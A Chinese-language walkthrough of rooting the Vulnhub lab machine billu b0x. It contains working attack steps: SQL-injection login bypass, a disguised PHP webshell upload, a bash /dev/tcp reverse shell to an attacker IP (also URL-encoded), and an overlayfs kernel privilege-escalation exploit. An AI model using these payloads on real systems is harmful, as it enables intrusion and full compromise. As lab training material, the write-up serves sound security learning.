Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程
靶机简介
官方下载地址:https://www.vulnhub.com/entry/billu-b0x,188/
目标是获得靶机root权限。话不多说,直接开始:
进行靶机发现与服务发现
靶机发现
使用
arp-scan -l
命令,扫描出局域网上活动主机信息,发现10.0.2.8疑似靶机ip端口扫描
对10.0.2.8进行端口扫描,使用
nmap
命令nmap -p- --min-rate=1000 10.0.2.8
靶机开启了22端口和80端口
进一步扫描获取服务细节
nmap -p 22,80 -sV -sC 10.0.2.8
web服务是常见的渗透入口,所以从浏览器访问靶机80端口
web渗透
靶机web服务如下
尝试简单的SQL注入,失败。尝试其他方法
路径暴力破解
使用dirsearch
工具对靶机web服务进行路径暴力破解
dirsearch -u http://10.0.2.8
找到其中所有状态码为200和302的结果:
1 | [20:16:31] 200 - 307B - /add.php |
寻找可以利用的东西
访问add.php, head.php, index.php, panel.php, test.php后发现,add页面是上传照片,head是登录界面图片,index是登录页面,panel暂时无法访问(可能是登陆后才能访问的页面),test似乎是执行与文件相关的命令
目前test看起来最有用
利用test.php发现漏洞
尝试给url加上参数看能否访问或执行文件。能访问则是文件下载漏洞,能执行则是文件包含漏洞,后者更好利用。我们试试index.php,因为它与登录有关。
给url直接加参数(使用get请求),没有任何结果
尝试改为post请求
使用BurpSuite拦截请求,在Repeater中修改为post请求并发送
发现成功获得了文件内容。说明有文件下载漏洞,同时也排除了文件包含漏洞。
通过改漏洞查看各php文件内容(此处不需要仔细看,后文提及时再回来看)
add.php
1
2
3
4
5
6
7
8
9
10
11
12
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";head.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";panel.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}test.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function file_download($download)
{
if(file_exists($download))
{
header("Content-Description: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "file not found";
}
}
if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{
echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}
观察index.php,在登录逻辑中发现如下代码:
1 | if(isset($_POST['login'])) |
与登录有关,解析其中的SQL语句,换成标准格式:
select * from auth where pass='$passwd' and uname='$username'
发现可以使用\
将单引号转义,从而实现SQL注入
登录界面输入:
1 | username: or 1=1 # |
注入成功
寻找漏洞
发现并利用文件上传漏洞
登录后发现有一个上传文件的接口(同时也是/add.php的功能,之前路径暴力破解时找到的):
尝试进行一句话木马文件的上传,即在上传的文件中添加<?php system($_GET["cmd"]);?>
内容,看能否执行。
上传一句话木马文件
建立getin.php文件,内容为<?php system($_GET["cmd"]);?>
, 尝试直接上传,失败。只允许png, jpg, gif文件
有三种检测可能性:
检测文件后缀
检测请求中的Content-Type
对文件内容检测,需要对内容伪造
我们使用burpsuite拦截请求,依次尝试
将请求中filename后缀修改为png,再次上传。失败
将Content-Type修改为:image/png,上传,失败
对内容进行伪造,在文件内容开头加上一个图形格式的标记
GIF89a;
,再次上传,成功!
测试是否可以执行命令
上传成功后,点击Show Users,查看html内容,发现上传的文件在uploaded_images/
下。
拦截Show Users请求
根据请求体以及panel.php的如下内容:
1 | if($choice==='show') |
可以看出load后的参数是其他的内容,则会直接引用该文件,这为我们执行木马文件提供了机会。
通过burp构建请求:POST /panel.php?cmd=ls HTTP/1.1
请求参数为:load=uploaded_images/getin.png&continue=continue
发送请求,发现成功执行命令
建立反弹shell
将命令修改为echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash
,在本机用nc -nvlp 3333
监听3333端口。发送请求
但是发现并未成功建立反弹shell。可以想到是因为请求url里有空格导致命令没有被正确传递
考虑使用url16进制编码解决空格的问题。加密后是没有空格的,并且后端会自动解码。先用几个简单的命令进行测试,发现可行。于是对上述命令进行编码,得到结果:
1 | %65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68 |
用该内容替换命令,然后再次发送请求
发现成功建立反弹shell
这里遇到一个问题,编码
echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash
后发送请求可以成功建立反弹shell。但如果编码bash -i >& /dev/tcp/10.0.2.15/3333 0>&1
命令,就无法建立反弹shell。目前还未搞懂是为什么。
命令及其编码如下
1
2
3
4
5 echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68
bash -i >& /dev/tcp/10.0.2.15/3333 0>&1
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31
提权
uname -a
命令查看Linux版本
在kali上使用searchsploit
查找漏洞(与exploit-db网站上是一样的)
searchsploit Kernel 3.13.0
得到众多结果
从中找到可能有用的,进行尝试。下面这个最可能有用
1 | Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escala | linux/local/37292.c |
用searchsploit -m 37292
命令将该文件拷贝到当前目录
kali用python开启web服务
用反弹shell在靶机上进入/tmp目录(该目录下所有用户都有写权限,避免权限不足),下载该文件,在靶机上编译并运行(需要靶机上有gcc,刚好该靶机上有)
成功获得root权限!
补充1:建立反弹shell的另一种方式
还有一种方式是使用直接建立反弹shell的php文件
使用Kali Linux的/usr/share/webshells/php/php-reverse-shell.php
文件,修改文件中的目标ip为kali的ip,重复文件上传方法(这里将文件名修改为了in.png),上传到靶机上
在kali上监听1234端口 nc -nvlp 1234
拦截Show Users请求,将load行修改为:
load=uploaded_images/in.png&continue=continue
发送请求后,成功建立反弹shell
补充2:美化reverse shell
如果靶机上有python,可以在建立反弹shell后输入python -c "import pty; pty.spawn('/bin/bash')"
命令,美化shell。如果有命令终端回显,可以使用stty raw -echo
进制回显。
美化前:
美化后: